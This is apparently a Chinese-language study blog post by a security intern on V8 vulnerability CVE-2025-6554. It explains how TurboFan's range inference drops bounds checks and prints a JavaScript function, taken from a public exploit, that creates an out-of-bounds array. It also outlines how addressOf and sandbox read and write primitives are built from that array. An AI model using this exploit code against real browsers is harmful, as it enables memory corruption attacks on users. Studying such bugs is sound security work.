最近实习一直在研究chrome的洞. v8是复现了cve-2024-12695和cve-2025-6554
12695这个洞利用起来太复杂, 而且其中需要一个地址泄露的原语, 主要跟着这篇文章复现了一下.
在纯d8环境上还可以靠规律直接爆破地址, 到了完整chrome环境就有点难搞了, 因为完整chrome的堆布局更加复杂和不可控.

所以后来就偶然看到6554这个洞, 这个漏洞相对好利用多了, poc只有短短11行. 从poc构造出addressof和沙箱内任意读写也就100行出头, 其中还一大部分都是helper函数.
网上很多现成的exp, 我就拿了f1lyyy的exp直接拿来用了.

主要想记录下这个poc如何构造出原语, 顺带介绍一下turbofan推断优化.
poc本身提供的只是一个%TheHole%的非常规js值. exp则是利用这个%TheHole%和turbofan的优化来构造越界数组.
turbofan的推断优化很有意思, 当他认为数组访问固定不会越界时, 就会将访问数组前的检查节点给去掉, 也就退化成了c里面的原生数组访问, 不带越界检查.
注释里的inferred就是turbofan在程序运行过程中认为该变量的范围, 而actual是当trigger为true时该变量的实际范围.

当exp里的opt函数以false的条件运行60000次之后, turbofan根据运行时得到的反馈和推断结果, 判断这个_oob_arr数组不可能越界, 于是我们就得到了越界访问
后面的事情基本就不言而喻了, 通过计算好oob_arr, obj_arr, rw_arr的偏移就可以用越界访问破坏obj_arr和rw_arr.
其中addressOf可以用obj_arr来构造, 只要将任意对象放到obj_arr[0]上, 再用oob_arr去读取obj_arr[0]就行了.
而cage_read和cage_write可以用越界将rw_arr的Element指针改到addr就行, 不过缺点是必须要全程保证rw_arr和oob_arr的偏移不要变化(在实际打的过程可能会因为奇奇怪怪的堆分配问题导致这两个对象偏移变化)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function opt(trigger) {
let x;
delete x?.[y]?.a;
let hole = y;
let y;
let o = {};
o.maybe_hole = trigger ? hole : "not the hole";
//inferred: (0, 535870888) actual: (-524289, 535870888)
let len = o.maybe_hole.length;
var _oob_aar = new Array(8);
_oob_aar[0] = 1.1;
//inferred: (0, 1) actual: (-1, 1)
let sign_val = Math.sign(len);
//inferred: (0, 1) actual: (0, 2)
let v1 = 2 - (sign_val + 1);
//inferred: (0, 0) actual: (-1, 0)
let v2 = (9 - (v1 + 8)) >> 1;
//inferred: (1, 1) actual: (0, 1)
let v3 = v2 + 1;
//inferred: (1000, 1000) actual: (0, 1000)
let idx = v3 * 1000;
_oob_aar[idx] = 1.1;
let _obj_arr = [{}];
let _rw_arr = [1.1];
return [_oob_aar, _obj_arr, _rw_arr];
}

for (let i = 0; i < 10000; i++){
opt(false);opt(false);opt(false);
opt(false);opt(false);opt(false);
}

var [oob_aar, obj_arr, rw_arr] = opt(true);

不过这次的exp算是逃课了, 基本上网上现成的就直接用了. 下次遇到还是可以再研究下turbofan推断利用的, 很多v8的利用都基于turbifan推断, 而且这玩意也没有看上去那么想当然